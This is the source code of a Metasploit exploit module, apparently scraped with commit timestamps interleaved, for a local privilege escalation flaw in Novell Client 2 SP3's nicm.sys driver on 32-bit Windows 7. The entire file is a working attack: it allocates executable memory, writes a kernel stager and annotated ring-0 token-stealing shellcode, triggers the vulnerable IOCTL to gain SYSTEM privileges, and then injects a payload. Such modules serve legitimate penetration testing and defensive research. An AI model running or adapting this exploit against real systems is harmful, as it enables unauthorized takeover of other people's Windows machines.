2013-06-25 04:51:28 +00:00
##
2013-10-15 18:50:46 +00:00
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2013-06-25 04:51:28 +00:00
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf :: Exploit :: Local
2013-09-05 18:41:25 +00:00
Rank = AverageRanking
include Msf :: Post :: Windows :: Priv
include Msf :: Post :: Windows :: Process
def initialize ( info = { } )
super ( update_info ( info , {
'Name' = > 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation' ,
'Description' = > %q{
This module exploits a flaw in the nicm . sys driver to execute arbitrary code in
kernel space . The vulnerability occurs while handling ioctl requests with code
0x143B6B , where a user provided pointer is used as function pointer . The module
has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3 .
} ,
'License' = > MSF_LICENSE ,
'Author' = >
[
'Unknown' , # Vulnerability discovery
'juan vazquez' # MSF module
] ,
'Arch' = > ARCH_X86 ,
'Platform' = > 'win' ,
'SessionTypes' = > [ 'meterpreter' ] ,
'DefaultOptions' = >
{
'EXITFUNC' = > 'thread' ,
} ,
'Targets' = >
[
# Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows
# as installed with Novell Client 2 SP3 for Windows 7
[ 'Automatic' , { } ] ,
[ 'Windows 7 SP1' ,
{
'HaliQuerySystemInfo' = > 0x16bba , # Stable over Windows XP SP3 updates
'_KPROCESS' = > " \x50 " , # Offset to _KPROCESS from a _ETHREAD struct
'_TOKEN' = > " \xf8 " , # Offset to TOKEN from the _EPROCESS struct
'_UPID' = > " \xb4 " , # Offset to UniqueProcessId FROM the _EPROCESS struct
'_APLINKS' = > " \xb8 " # Offset to ActiveProcessLinks _EPROCESS struct
}
]
] ,
'Payload' = >
{
'Space' = > 4096 ,
'DisableNops' = > true
} ,
'References' = >
[
[ 'OSVDB' , '93718' ] ,
[ 'URL' , 'http://www.novell.com/support/kb/doc.php?id=7012497' ] ,
[ 'URL' , 'http://pastebin.com/GB4iiEwR' ]
] ,
'DisclosureDate' = > 'May 22 2013' ,
'DefaultTarget' = > 0
} ) )
end
def add_railgun_functions
session . railgun . add_dll ( 'psapi' ) if not session . railgun . dlls . keys . include? ( 'psapi' )
session . railgun . add_function (
'psapi' ,
'EnumDeviceDrivers' ,
'BOOL' ,
[
[ " PBLOB " , " lpImageBase " , " out " ] ,
[ " DWORD " , " cb " , " in " ] ,
[ " PDWORD " , " lpcbNeeded " , " out " ]
] )
session . railgun . add_function (
'psapi' ,
'GetDeviceDriverBaseNameA' ,
'DWORD' ,
[
[ " LPVOID " , " ImageBase " , " in " ] ,
[ " PBLOB " , " lpBaseName " , " out " ] ,
[ " DWORD " , " nSize " , " in " ]
] )
end
def open_device ( dev )
invalid_handle_value = 0xFFFFFFFF
r = session . railgun . kernel32 . CreateFileA ( dev , " GENERIC_READ " , 0x3 , nil , " OPEN_EXISTING " , " FILE_ATTRIBUTE_READONLY " , 0 )
handle = r [ 'return' ]
if handle == invalid_handle_value
return nil
end
return handle
end
def ring0_shellcode ( t )
tokenstealing = " \x52 " # push edx # Save edx on the stack
tokenstealing << " \x53 " # push ebx # Save ebx on the stack
tokenstealing << " \x33 \xc0 " # xor eax, eax # eax = 0
tokenstealing << " \x64 \x8b \x80 \x24 \x01 \x00 \x00 " # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << " \x8b \x40 " + t [ '_KPROCESS' ] # mov eax, dword ptr [eax+50h] # Retrieve _KPROCESS
tokenstealing << " \x8b \xc8 " # mov ecx, eax
tokenstealing << " \x8b \x98 " + t [ '_TOKEN' ] + " \x00 \x00 \x00 " # mov ebx, dword ptr [eax+0f8h] # Retrieves TOKEN
tokenstealing << " \x8b \x80 " + t [ '_APLINKS' ] + " \x00 \x00 \x00 " # mov eax, dword ptr [eax+b8h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << " \x81 \xe8 " + t [ '_APLINKS' ] + " \x00 \x00 \x00 " # sub eax,b8h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << " \x81 \xb8 " + t [ '_UPID' ] + " \x00 \x00 \x00 \x04 \x00 \x00 \x00 " # cmp dword ptr [eax+b4h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << " \x75 \xe8 " # jne 0000101e ======================
tokenstealing << " \x8b \x90 " + t [ '_TOKEN' ] + " \x00 \x00 \x00 " # mov edx,dword ptr [eax+0f8h] # Retrieves TOKEN and stores on EDX
tokenstealing << " \x8b \xc1 " # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << " \x89 \x90 " + t [ '_TOKEN' ] + " \x00 \x00 \x00 " # mov dword ptr [eax+0f8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << " \x5b " # pop ebx # Restores ebx
tokenstealing << " \x5a " # pop edx # Restores edx
tokenstealing << " \xc2 \x08 " # ret 08h # Away from the kernel!
return tokenstealing
end
def allocate_memory ( proc , address , length )
result = session . railgun . ntdll . NtAllocateVirtualMemory ( - 1 , [ address ] . pack ( " V " ) , nil , [ length ] . pack ( " V " ) , " MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN " , " PAGE_EXECUTE_READWRITE " )
if not result [ " BaseAddress " ] or result [ " BaseAddress " ] . empty?
vprint_error ( " Failed to allocate memory " )
return nil
end
my_address = result [ " BaseAddress " ] . unpack ( " V " ) [ 0 ]
vprint_good ( " Memory allocated at 0x #{ my_address . to_s ( 16 ) } " )
if not proc . memory . writable? ( my_address )
vprint_error ( " Failed to allocate memory " )
return nil
else
vprint_good ( " 0x #{ my_address . to_s ( 16 ) } is now writable " )
end
return my_address
end
def junk ( n = 4 )
return rand_text_alpha ( n ) . unpack ( " V " ) . first
end
def check
handle = open_device ( " \\ \\ . \\ nicm " )
if handle . nil?
return Exploit :: CheckCode :: Safe
end
session . railgun . kernel32 . CloseHandle ( handle )
return Exploit :: CheckCode :: Detected
end
def exploit
vprint_status ( " Adding the railgun stuff... " )
add_railgun_functions
if sysinfo [ " Architecture " ] =~ / wow64 /i
fail_with ( Failure :: NoTarget , " Running against WOW64 is not supported " )
elsif sysinfo [ " Architecture " ] =~ / x64 /
fail_with ( Failure :: NoTarget , " Running against 64-bit systems is not supported " )
end
my_target = nil
if target . name =~ / Automatic /
print_status ( " Detecting the target system... " )
os = sysinfo [ " OS " ]
if os =~ / windows 7 /i
my_target = targets [ 1 ]
print_status ( " Running against #{ my_target . name } " )
end
else
my_target = target
end
if my_target . nil?
fail_with ( Failure :: NoTarget , " Remote system not detected as target, select the target manually " )
end
print_status ( " Checking device... " )
handle = open_device ( " \\ \\ . \\ nicm " )
if handle . nil?
fail_with ( Failure :: NoTarget , " \\ \\ . \\ nicm device not found " )
else
print_good ( " \\ \\ . \\ nicm found! " )
end
this_proc = session . sys . process . open
print_status ( " Storing the Kernel stager on memory... " )
stager_address = 0x0d0d0000
stager_address = allocate_memory ( this_proc , stager_address , 0x1000 )
if stager_address . nil? or stager_address == 0
session . railgun . kernel32 . CloseHandle ( handle )
fail_with ( Failure :: Unknown , " Failed to allocate memory " )
end
# eax => &kernel_stager
# .text:000121A3 mov ecx, eax
# .text:000121A5 mov eax, [ecx]
# .text:000121A7 mov edx, [eax]
# .text:000121A9 push ecx
# .text:000121AA push eax
# .text:000121AB call dword ptr [edx+0Ch]
kernel_stager = [
stager_address + 0x14 , # stager_address
junk ,
junk ,
junk ,
junk ,
stager_address + 0x18 , # stager_address + 0x14
junk ,
junk ,
junk ,
stager_address + 0x28 # stager_address + 0x24
] . pack ( " V* " )
kernel_stager << ring0_shellcode ( my_target )
result = this_proc . memory . write ( stager_address , kernel_stager )
if result . nil?
session . railgun . kernel32 . CloseHandle ( handle )
fail_with ( Failure :: Unknown , " Failed to write contents to memory " )
else
vprint_good ( " Contents successfully written to 0x #{ stager_address . to_s ( 16 ) } " )
end
print_status ( " Triggering the vulnerability to execute the Kernel Handler " )
magic_ioctl = 0x143B6B # Vulnerable IOCTL
ioctl = session . railgun . ntdll . NtDeviceIoControlFile ( handle , 0 , 0 , 0 , 4 , magic_ioctl , stager_address , 0x14 , 0 , 0 )
session . railgun . kernel32 . CloseHandle ( handle )
if ioctl [ " GetLastError " ] != 0
print_error ( " Something wrong while triggering the vulnerability, anyway checking privileges... " )
end
print_status ( " Checking privileges after exploitation... " )
if not is_system?
fail_with ( Failure :: Unknown , " The exploitation wasn't successful " )
else
print_good ( " Exploitation successful! " )
end
p = payload . encoded
print_status ( " Injecting #{ p . length . to_s } bytes to memory and executing it... " )
if execute_shellcode ( p )
print_good ( " Enjoy " )
else
fail_with ( Failure :: Unknown , " Error while executing the payload " )
end
end
2013-06-25 04:51:28 +00:00
end